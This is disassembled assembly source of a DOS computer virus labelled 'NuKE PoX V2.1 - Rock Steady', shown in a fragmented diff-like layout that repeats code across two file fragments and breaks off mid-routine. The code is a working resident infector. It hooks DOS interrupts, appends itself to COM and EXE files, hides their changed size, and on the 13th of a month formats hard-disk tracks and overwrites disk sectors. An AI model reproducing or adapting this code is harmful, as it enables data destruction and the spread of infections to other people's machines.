||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_62 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_61:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
loc_62:
|
||||
pop sp
|
||||
pop ss
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
popf ; Pop flags
|
||||
retn
|
||||
sub_14 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_15 proc near
|
||||
mov cx,cs:data_28
|
||||
mov cs:data_13,cx
|
||||
mov cx,cs:data_29
|
||||
mov cs:data_14,cx
|
||||
mov cx,cs:data_27
|
||||
mov cs:data_15,cx
|
||||
mov cx,cs:data_26
|
||||
mov cs:data_16,cx
|
||||
push ax
|
||||
push dx
|
||||
call sub_10
|
||||
sub dx,cs:data_25
|
||||
mov word ptr cs:data_12,dx
|
||||
push ax
|
||||
push dx
|
||||
call sub_6
|
||||
pop dx
|
||||
pop ax
|
||||
mov cs:data_29,dx
|
||||
mov cs:data_28,ax
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_15 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_16 proc near
|
||||
add ax,696h
|
||||
adc dx,0
|
||||
push ax
|
||||
push dx
|
||||
call sub_10
|
||||
sub dx,cs:data_25
|
||||
add ax,40h
|
||||
mov cs:data_26,dx
|
||||
mov cs:data_27,ax
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_16 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_17 proc near
|
||||
dec cx
|
||||
mov cs:data_18,cx
|
||||
mov cs:data_19,dx
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
push cx
|
||||
push dx
|
||||
sub dx,1Bh
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
push cs
|
||||
pop ds
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
mov ah,40h ; '@'
|
||||
mov dx,77Eh
|
||||
mov cx,1Bh
|
||||
cmp cs:data_21,5A4Dh
|
||||
je loc_64 ; Jump if equal
|
||||
mov cx,3
|
||||
loc_64:
|
||||
call sub_2
|
||||
pop dx
|
||||
pop cx
|
||||
sub dx,696h
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
call sub_2
|
||||
mov ah,40h ; '@'
|
||||
xor cx,cx ; Zero register
|
||||
call sub_2
|
||||
mov cx,cs:data_18
|
||||
mov dx,cs:data_19
|
||||
mov ax,5701h
|
||||
int 21h ; DOS Services ah=function 57h
|
||||
; set file date+time, bx=handle
|
||||
; cx=time, dx=time
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
retn
|
||||
sub_17 endp
|
||||
|
||||
db 'C:\COMMAND.COM'
|
||||
db 0
|
||||
data_18 dw 0
|
||||
data_19 dw 0
|
||||
db 00h, 00h,0E9h
|
||||
data_20 dw 9090h
|
||||
db 'NuKE PoX V2.1 - Rock Steady'
|
||||
data_21 dw 0CD90h ; Data table (indexed access)
|
||||
data_22 dw 20h
|
||||
data_24 dw 0
|
||||
db 0, 0
|
||||
data_25 dw 0
|
||||
db 0, 0, 0, 0
|
||||
data_26 dw 0
|
||||
data_27 dw 0
|
||||
db 0, 0
|
||||
data_28 dw 0
|
||||
data_29 dw 0
|
||||
db 0, 0, 0
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
|
@ -0,0 +1,941 @@
|
|||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ NPOX21 ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 28-Sep-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 16h
|
||||
data_2e equ 3 ;*
|
||||
data_32e equ 103h ;*
|
||||
data_33e equ 1 ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
npox21 proc far
|
||||
|
||||
start:
|
||||
jmp short $+3 ; delay for I/O
|
||||
nop
|
||||
call sub_1
|
||||
|
||||
npox21 endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near
|
||||
pop bp
|
||||
sub bp,106h
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
push ds
|
||||
mov ah,2Ah ; '*'
|
||||
int 21h ; DOS Services ah=function 2Ah
|
||||
; get date, cx=year, dh=month
|
||||
; dl=day, al=day-of-week 0=SUN
|
||||
cmp dl,0Dh
|
||||
je loc_2 ; Jump if equal
|
||||
jmp short loc_5
|
||||
db 90h
|
||||
loc_2:
|
||||
mov ch,0
|
||||
|
||||
locloop_3:
|
||||
mov ah,5
|
||||
mov dh,0
|
||||
mov dl,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 05h
|
||||
; format track=ch or cylindr=cx
|
||||
; al=interleave, dh=head
|
||||
inc ch
|
||||
jc loc_4 ; Jump if carry Set
|
||||
cmp ch,10h
|
||||
loopnz locloop_3 ; Loop if zf=0, cx>0
|
||||
|
||||
loc_4:
|
||||
mov al,2
|
||||
mov cx,20h
|
||||
mov dx,0
|
||||
int 26h ; Absolute disk write, drive al
|
||||
; if disk under 32MB, dx=start
|
||||
; cx=#sectors, ds:bx=buffer
|
||||
; else cx=-1, ds:dx=parm block
|
||||
;* jmp far ptr loc_66 ;*
|
||||
db 0EAh,0F0h,0FFh,0FFh,0FFh
|
||||
loc_5:
|
||||
mov ax,0ABDCh
|
||||
int 21h ; ??INT Non-standard interrupt
|
||||
cmp bx,0ABDCh
|
||||
je loc_6 ; Jump if equal
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,es
|
||||
mov ax,3521h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov word ptr cs:data_10+2[bp],es
|
||||
mov cs:data_10[bp],bx
|
||||
dec cx
|
||||
mov es,cx
|
||||
mov bx,es:data_2e
|
||||
mov dx,696h
|
||||
mov cl,4
|
||||
shr dx,cl ; Shift w/zeros fill
|
||||
add dx,4
|
||||
mov cx,es
|
||||
sub bx,dx
|
||||
inc cx
|
||||
mov es,cx
|
||||
mov ah,4Ah ; 'J'
|
||||
int 21h ; DOS Services ah=function 4Ah
|
||||
; change memory allocation
|
||||
; bx=bytes/16, es=mem segment
|
||||
jc loc_6 ; Jump if carry Set
|
||||
mov ah,48h ; 'H'
|
||||
dec dx
|
||||
mov bx,dx
|
||||
int 21h ; DOS Services ah=function 48h
|
||||
; allocate memory, bx=bytes/16
|
||||
jc loc_6 ; Jump if carry Set
|
||||
dec ax
|
||||
mov es,ax
|
||||
mov cx,8
|
||||
mov es:data_33e,cx
|
||||
sub ax,0Fh
|
||||
mov di,data_32e
|
||||
mov es,ax
|
||||
mov si,bp
|
||||
add si,103h
|
||||
mov cx,696h
|
||||
cld ; Clear direction
|
||||
repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di]
|
||||
mov ax,2521h
|
||||
;* mov dx,offset loc_65 ;*
|
||||
db 0BAh, 8Eh, 02h
|
||||
push es
|
||||
pop ds
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
loc_6:
|
||||
push cs
|
||||
pop ds
|
||||
cmp cs:data_21[bp],5A4Dh
|
||||
je loc_7 ; Jump if equal
|
||||
mov bx,offset data_21
|
||||
add bx,bp
|
||||
mov ax,[bx]
|
||||
mov word ptr ds:[100h],ax
|
||||
inc bx
|
||||
inc bx
|
||||
mov al,[bx]
|
||||
mov byte ptr ds:[102h],al
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,offset start
|
||||
push ax
|
||||
retn
|
||||
db 'Death to Separatist'
|
||||
db 0
|
||||
loc_7:
|
||||
mov bx,word ptr cs:data_12[bp]
|
||||
mov dx,cs
|
||||
sub dx,bx
|
||||
mov ax,dx
|
||||
add ax,cs:data_14[bp]
|
||||
add dx,cs:data_16[bp]
|
||||
mov bx,cs:data_13[bp]
|
||||
mov word ptr cs:[236h][bp],bx
|
||||
mov word ptr cs:[238h][bp],ax
|
||||
mov ax,cs:data_13[bp]
|
||||
mov word ptr cs:[22Ch][bp],dx
|
||||
mov word ptr cs:[232h][bp],ax
|
||||
pop ds
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
mov ax,0
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax
|
||||
mov sp,0
|
||||
sti ; Enable interrupts
|
||||
;* jmp far ptr loc_1 ;*
|
||||
sub_1 endp
|
||||
|
||||
db 0EAh, 00h, 00h, 00h, 00h
|
||||
loc_8:
|
||||
call sub_2
|
||||
test al,al
|
||||
jnz loc_ret_15 ; Jump if not zero
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ; 'Q'
|
||||
int 21h ; DOS Services ah=function 51h
|
||||
; get active PSP segment in bx
|
||||
;* undocumented function
|
||||
mov es,bx
|
||||
cmp bx,es:data_1e
|
||||
jne loc_14 ; Jump if not equal
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2Fh ; '/'
|
||||
int 21h ; DOS Services ah=function 2Fh
|
||||
; get DTA ptr into es:bx
|
||||
pop ax
|
||||
inc al
|
||||
jnz loc_13 ; Jump if not zero
|
||||
add bx,7
|
||||
loc_13:
|
||||
mov ax,es:[bx+17h]
|
||||
and ax,1Fh
|
||||
cmp al,1Eh
|
||||
jne loc_14 ; Jump if not equal
|
||||
and byte ptr es:[bx+17h],0E0h
|
||||
sub word ptr es:[bx+1Dh],696h
|
||||
sbb word ptr es:[bx+1Fh],0
|
||||
loc_14:
|
||||
pop es
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
loc_ret_15:
|
||||
iret ; Interrupt return
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:data_10
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
db 0EBh,0B0h
|
||||
data_10 dw 0, 0 ; Data table (indexed access)
|
||||
db 80h,0FCh, 11h, 74h,0F5h, 80h
|
||||
db 0FCh, 12h, 74h,0F0h, 3Dh, 00h
|
||||
db 4Bh, 74h, 27h, 80h,0FCh, 3Dh
|
||||
db 74h, 12h, 80h,0FCh, 3Eh, 74h
|
||||
db 15h, 3Dh,0DCh,0ABh, 75h, 02h
|
||||
db 8Bh,0D8h
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near
|
||||
jmp dword ptr cs:data_10
|
||||
db 0CBh
|
||||
db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh
|
||||
db 8Ah, 02h
|
||||
db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh
|
||||
db 8Ah, 02h
|
||||
db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh
|
||||
db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h
|
||||
db 51h, 52h, 1Eh,0E8h, 00h, 03h
|
||||
db 0E8h, 82h, 02h, 72h, 1Eh,0B8h
|
||||
db 00h, 43h,0E8h,0A0h,0FFh, 72h
|
||||
db 16h,0F6h,0C1h, 01h, 74h, 0Bh
|
||||
db 80h,0E1h,0FEh,0B8h, 01h, 43h
|
||||
db 0E8h, 90h,0FFh
|
||||
db 72h, 66h
|
||||
loc_21:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
loc_22:
|
||||
jc loc_24 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jz loc_24 ; Jump if zero
|
||||
push cs
|
||||
pop ds
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_23 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_23 ; Jump if carry Set
|
||||
cmp data_21,5A4Dh
|
||||
je loc_25 ; Jump if equal
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_24 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_23:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
mov ah,3Eh ; '>'
|
||||
call sub_2
|
||||
loc_24:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
iret ; Interrupt return
|
||||
loc_25:
|
||||
call sub_15
|
||||
jc loc_24 ; Jump if carry Set
|
||||
call sub_16
|
||||
call sub_13
|
||||
jmp short loc_23
|
||||
sub_3 endp
|
||||
|
||||
data_12 db 0, 0 ; Data table (indexed access)
|
||||
data_13 dw 0 ; Data table (indexed access)
|
||||
data_14 dw 0 ; Data table (indexed access)
|
||||
data_15 dw 0
|
||||
data_16 dw 0 ; Data table (indexed access)
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
call sub_8
|
||||
jnc loc_26 ; Jump if carry=0
|
||||
call sub_9
|
||||
jnc loc_26 ; Jump if carry=0
|
||||
retn
|
||||
loc_26:
|
||||
push ax
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
jnc loc_27 ; Jump if carry=0
|
||||
pop ax
|
||||
iret ; Interrupt return
|
||||
loc_27:
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jnz loc_28 ; Jump if not zero
|
||||
call sub_17
|
||||
loc_28:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_4 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_5 proc near
|
||||
cmp bx,0
|
||||
je loc_ret_29 ; Jump if equal
|
||||
cmp bx,5
|
||||
ja loc_30 ; Jump if above
|
||||
|
||||
loc_ret_29:
|
||||
retn
|
||||
loc_30:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push di
|
||||
push ds
|
||||
push es
|
||||
push bp
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh ; DOS Internal services
|
||||
;* undocumented function
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2Fh ; DOS Internal services
|
||||
;* undocumented function
|
||||
pop bx
|
||||
add di,11h
|
||||
mov byte ptr es:[di-0Fh],2
|
||||
add di,17h
|
||||
cmp word ptr es:[di],4F43h
|
||||
jne loc_31 ; Jump if not equal
|
||||
cmp byte ptr es:[di+2],4Dh ; 'M'
|
||||
jne loc_34 ; Jump if not equal
|
||||
jmp short loc_35
|
||||
db 90h
|
||||
loc_31:
|
||||
cmp word ptr es:[di],5845h
|
||||
jne loc_34 ; Jump if not equal
|
||||
cmp byte ptr es:[di+2],45h ; 'E'
|
||||
jne loc_34 ; Jump if not equal
|
||||
cmp word ptr es:[di-8],4353h
|
||||
jne loc_32 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],4E41h
|
||||
je loc_34 ; Jump if equal
|
||||
loc_32:
|
||||
cmp word ptr es:[di-8],2D46h
|
||||
jne loc_33 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],5250h
|
||||
je loc_34 ; Jump if equal
|
||||
loc_33:
|
||||
cmp word ptr es:[di-8],4C43h
|
||||
jne loc_35 ; Jump if not equal
|
||||
cmp word ptr es:[di-6],4145h
|
||||
jne loc_35 ; Jump if not equal
|
||||
loc_34:
|
||||
jmp short loc_37
|
||||
db 90h
|
||||
loc_35:
|
||||
call sub_12
|
||||
jz loc_37 ; Jump if zero
|
||||
push cs
|
||||
pop ds
|
||||
mov data_18,cx
|
||||
mov data_19,dx
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,1Bh
|
||||
mov dx,77Eh
|
||||
call sub_2
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov ax,4202h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_36 ; Jump if carry Set
|
||||
cmp data_21,5A4Dh
|
||||
je loc_38 ; Jump if equal
|
||||
mov cx,ax
|
||||
sub cx,3
|
||||
mov data_20,cx
|
||||
call sub_6
|
||||
jc loc_36 ; Jump if carry Set
|
||||
mov ah,40h ; '@'
|
||||
mov dx,760h
|
||||
mov cx,3
|
||||
call sub_2
|
||||
loc_36:
|
||||
mov cx,data_18
|
||||
mov dx,data_19
|
||||
mov ax,5701h
|
||||
call sub_2
|
||||
loc_37:
|
||||
pop bp
|
||||
pop es
|
||||
pop ds
|
||||
pop di
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
loc_38:
|
||||
call sub_15
|
||||
jc loc_36 ; Jump if carry Set
|
||||
call sub_16
|
||||
call sub_13
|
||||
jmp short loc_36
|
||||
sub_5 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_6 proc near
|
||||
mov ah,40h ; '@'
|
||||
mov dx,103h
|
||||
mov cx,696h
|
||||
call sub_2
|
||||
jc loc_39 ; Jump if carry Set
|
||||
mov ax,4200h
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
call sub_2
|
||||
jc loc_39 ; Jump if carry Set
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
loc_39:
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
sub_6 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_7 proc near
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
mov ax,4300h
|
||||
call sub_2
|
||||
test cl,1
|
||||
jz loc_40 ; Jump if zero
|
||||
and cl,0FEh
|
||||
mov ax,4301h
|
||||
call sub_2
|
||||
jc loc_41 ; Jump if carry Set
|
||||
loc_40:
|
||||
mov ax,3D02h
|
||||
call sub_2
|
||||
jc loc_41 ; Jump if carry Set
|
||||
mov bx,ax
|
||||
call sub_12
|
||||
jnz loc_41 ; Jump if not zero
|
||||
call sub_17
|
||||
loc_41:
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_7 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_8 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_42:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_43 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_42 ; Loop if cx > 0
|
||||
|
||||
loc_43:
|
||||
cmp word ptr [si+1],4F43h
|
||||
jne loc_44 ; Jump if not equal
|
||||
cmp byte ptr [si+3],4Dh ; 'M'
|
||||
je loc_46 ; Jump if equal
|
||||
loc_44:
|
||||
cmp word ptr [si+1],6F63h
|
||||
jne loc_45 ; Jump if not equal
|
||||
cmp byte ptr [si+3],6Dh ; 'm'
|
||||
je loc_46 ; Jump if equal
|
||||
loc_45:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_46:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
sub_8 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_9 proc near
|
||||
push si
|
||||
push cx
|
||||
mov si,dx
|
||||
mov cx,256h
|
||||
|
||||
locloop_47:
|
||||
cmp byte ptr [si],2Eh ; '.'
|
||||
je loc_48 ; Jump if equal
|
||||
inc si
|
||||
loop locloop_47 ; Loop if cx > 0
|
||||
|
||||
loc_48:
|
||||
cmp word ptr [si+1],5845h
|
||||
jne loc_49 ; Jump if not equal
|
||||
cmp byte ptr [si+3],45h ; 'E'
|
||||
je loc_51 ; Jump if equal
|
||||
loc_49:
|
||||
cmp word ptr [si+1],7865h
|
||||
jne loc_50 ; Jump if not equal
|
||||
cmp byte ptr [si+3],65h ; 'e'
|
||||
je loc_51 ; Jump if equal
|
||||
loc_50:
|
||||
pop cx
|
||||
pop si
|
||||
stc ; Set carry flag
|
||||
retn
|
||||
loc_51:
|
||||
pop cx
|
||||
pop si
|
||||
clc ; Clear carry flag
|
||||
retn
|
||||
sub_9 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_10 proc near
|
||||
push bx
|
||||
push cx
|
||||
mov cl,0Ch
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
xchg ax,bx
|
||||
mov cl,4
|
||||
shr bx,cl ; Shift w/zeros fill
|
||||
and ax,0Fh
|
||||
add dx,bx
|
||||
pop cx
|
||||
pop bx
|
||||
retn
|
||||
sub_10 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_11 proc near
|
||||
push si
